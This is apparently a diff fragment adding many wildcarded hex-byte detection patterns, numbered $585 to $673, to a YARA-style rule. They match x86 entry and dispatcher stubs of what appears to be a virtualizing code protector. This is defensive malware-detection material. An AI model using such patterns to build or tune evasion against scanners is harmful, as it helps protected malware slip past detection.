+		$585 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 9C 52 50 57 56 53 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$586 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 55 53 53 56 50 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 8B 45 00 36 8B 00 89 45 00 E9}
+		$587 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 53 50 56 53 51 57 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$588 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 51 51 9C 52 57 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 83 EE FC 89 45 00 E9}
+		$589 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 57 56 9C 55 52 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$590 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 50 9C 55 52 50 57 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 06 8D 76 04 83 ED 04 89 45 00 E9}
+		$591 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 9C 50 57 57 51 56 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+		$592 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 9C 53 56 51 57 55 52 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$593 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 9C 57 56 52 50 56 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$594 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 50 56 51 52 53 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+		$595 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 53 50 54 57 51 56 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$596 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 56 50 51 53 52 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$597 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 50 53 51 57 9C 57 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$598 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 55 50 57 51 53 9C 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 02 66 89 45 00 E9}
+		$599 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 52 50 9C 51 55 54 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$600 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 52 57 50 57 51 9C 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 36 8B 00 89 45 00 E9}
+		$601 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 53 50 57 53 9C 51 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$602 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 57 9C 50 55 51 51 53 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$603 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 53 52 51 57 55 9C 56 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 06 83 EE FC 83 ED 04 89 45 00 E9}
+		$604 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 50 52 51 57 53 55 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 83 C6 04 89 45 00 E9}
+		$605 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 53 51 55 52 50 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$606 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 57 9C 54 53 55 56 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$607 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 54 52 57 51 55 56 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+		$608 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 56 57 52 55 51 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$609 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 53 56 52 57 56 51 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$610 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 52 53 55 57 9C 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$611 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 52 53 51 55 51 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9}
+		$612 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 52 56 56 53 57 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$613 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 53 57 52 57 56 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+		$614 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 56 53 53 55 57 52 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9}
+		$615 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 50 52 9C 53 57 50 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$616 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 52 50 53 56 55 57 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$617 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 52 55 9C 56 53 52 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 5A 58 5F 5A 5B 5E 9D 5D 59 59 C3}
+		$618 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 52 57 9C 56 50 55 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$619 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 52 9C 53 56 57 50 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 89 EC 5A 5B 58 5F 5E 5A 9D 5A 5D 59 C3}
+		$620 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 57 9C 50 53 56 51 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+		$621 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 9C 55 53 51 56 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9}
+		$622 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 53 50 57 9C 55 54 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 EC 5B 5E 5D 5D 9D 5F 58 5B 59 5A C3}
+		$623 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 56 9C 56 53 57 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$624 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 50 56 53 57 9C 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 58 59 5D 9D 5F 5A 5E 58 5B 5A C3}
+		$625 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 56 53 50 55 9C 57 51 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$626 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 56 9C 57 50 53 55 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+		$627 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 55 50 51 9C 52 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$628 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 9C 50 56 57 51 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+		$629 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 50 52 52 57 55 56 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$630 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 55 9C 57 56 51 50 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 EC 5A 5E 58 59 5E 5F 9D 5D 5A 5B C3}
+		$631 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 57 50 55 51 9C 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+		$632 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 57 55 51 9C 56 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$633 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 9C 55 57 50 51 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+		$634 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 9C 56 50 53 57 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+		$635 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 55 56 52 56 51 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$636 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 9C 52 50 51 57 56 55 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+		$637 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 53 51 51 56 50 52 57 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+		$638 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 53 52 9C 57 56 50 53 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$639 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 9C 51 56 53 52 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$640 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 57 56 50 52 53 51 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$641 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 55 50 9C 51 57 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$642 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 50 51 57 50 52 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+		$643 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 57 52 53 57 51 55 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$644 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 9C 50 57 55 51 52 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$645 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 9C 55 53 56 52 53 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 58 59 5B 5A 5E 58 5D 9D 58 5F C3}
+		$646 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 52 53 56 9C 55 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+		$647 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 53 56 50 55 51 9C 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+		$648 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 55 52 50 56 9C 51 53 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 59 5A 5B 59 9D 5E 58 5F 5D 5F C3}
+		$649 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 53 55 51 57 52 52 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+		$650 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 57 55 52 54 50 51 53 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$651 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 55 56 52 9C 57 50 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 36 8B 00 89 45 00 E9}
+		$652 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 52 53 56 57 9C 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 02 66 89 45 00 E9}
+		$653 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 52 53 9C 56 57 56 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$654 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 52 9C 50 53 57 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$655 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 51 57 56 55 56 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$656 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 57 53 57 52 56 51 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+		$657 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 53 53 50 9C 52 57 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+		$658 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 57 50 50 56 53 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+		$659 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 53 9C 55 51 54 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$660 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 56 55 56 9C 57 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+		$661 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 56 56 57 55 53 9C 50 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+		$662 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 55 52 51 9C 52 57 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+		$663 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 9C 56 51 52 50 55 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$664 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 52 50 56 53 57 9C 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+		$665 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 51 53 57 52 9C 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+		$666 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 51 50 53 9C 57 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+		$667 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 9C 51 55 52 51 57 50 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+		$668 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 55 52 55 51 53 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+		$669 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 53 54 55 51 50 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$670 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 56 57 55 53 9C 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+		$671 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 51 56 55 52 50 55 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+		$672 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 52 56 51 57 53 50 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+		$673 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 57 55 52 50 53 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
